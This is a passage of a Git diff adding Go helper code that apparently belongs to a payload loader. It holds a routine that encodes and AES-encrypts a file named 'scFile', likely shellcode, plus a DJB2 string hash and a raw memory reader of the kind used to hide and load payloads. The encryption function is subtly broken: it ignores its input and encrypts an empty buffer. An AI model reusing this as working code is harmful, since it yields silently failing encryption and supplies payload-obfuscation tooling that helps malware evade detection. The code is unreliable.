copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
|
||||
return pb, nil
|
||||
}
|
||||
|
||||
func EncryptBuffer(buf []byte) ([]byte, []byte, []byte) {
|
||||
var rawbyte []byte
|
||||
key := GetRandBuffer(32)
|
||||
iv := GetRandBuffer(16)
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
paddedInput, err := Pkcs7Pad([]byte(rawbyte), aes.BlockSize)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
encBuf := make([]byte, len(paddedInput))
|
||||
encMode := cipher.NewCBCEncrypter(block, iv)
|
||||
encMode.CryptBlocks(encBuf, paddedInput)
|
||||
|
||||
return iv, key, encBuf
|
||||
}
|
||||
|
||||
func Encrypt(scFile string) string {
|
||||
src, _ := ioutil.ReadFile(scFile)
|
||||
dst := make([]byte, hex.EncodedLen(len(src)))
|
||||
hex.Encode(dst, src)
|
||||
r := base64.StdEncoding.EncodeToString(dst)
|
||||
|
||||
iv, key, encBuf := EncryptBuffer([]byte(r))
|
||||
b64EncBuf := base64.StdEncoding.EncodeToString(encBuf)
|
||||
b64Key := base64.StdEncoding.EncodeToString(key)
|
||||
b64IV := base64.StdEncoding.EncodeToString(iv)
|
||||
|
||||
return strings.Join([]string{b64IV, b64Key, b64EncBuf}, ":")
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
package hashing
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
type DJB2 struct{}
|
||||
|
||||
func NewDJB2() *DJB2 {
|
||||
return &DJB2{}
|
||||
}
|
||||
|
||||
func (d *DJB2) HashString(s string) int64 {
|
||||
var hash int64 = 5381
|
||||
for _, c := range strings.ToLower(s) {
|
||||
hash = ((hash << 5) + hash) + int64(c)
|
||||
}
|
||||
return hash
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
package rawreader
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"reflect"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// RawReader struct and functions below are taken from:
|
||||
// https://github.com/awgh/rawreader/blob/master/rawreader.go
|
||||
|
||||
// RawReader struct uses reflect to read data from underlying memory
|
||||
type RawReader struct {
|
||||
sliceHeader *reflect.SliceHeader
|
||||
rawPtr uintptr
|
||||
Data []byte
|
||||
Length int
|
||||
}
|
||||
|
||||
// NewRawReader returns a reference to a new populated RawReader
|
||||
func NewRawReader(start uintptr, length int) *RawReader {
|
||||
sh := &reflect.SliceHeader{
|
||||
Data: start,
|
||||
Len: length,
|
||||
Cap: length,
|
||||
}
|
||||
data := *(*[]byte)(unsafe.Pointer(sh))
|
||||
return &RawReader{sliceHeader: sh, rawPtr: start, Data: data, Length: length}
|
||||
}
|
||||
|
||||
// ReadAt func reads a file with a seek offset
|
||||
func (f *RawReader) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
if off < 0 {
|
||||
return 0, errors.New("RawReader.ReadAt: negative offset")
|
||||
}
|
||||
reqLen := len(p)
|
||||
buffLen := int64(f.Length)
|
||||
if off >= buffLen {
|
||||
return 0, io.EOF
|
||||
}
|
||||
|
||||
n = copy(p, f.Data[off:])
|
||||
if n < reqLen {
|
||||
err = io.EOF
|
||||
}
|
||||
return n, err
|
||||
}
|
Loading…
Reference in New Issue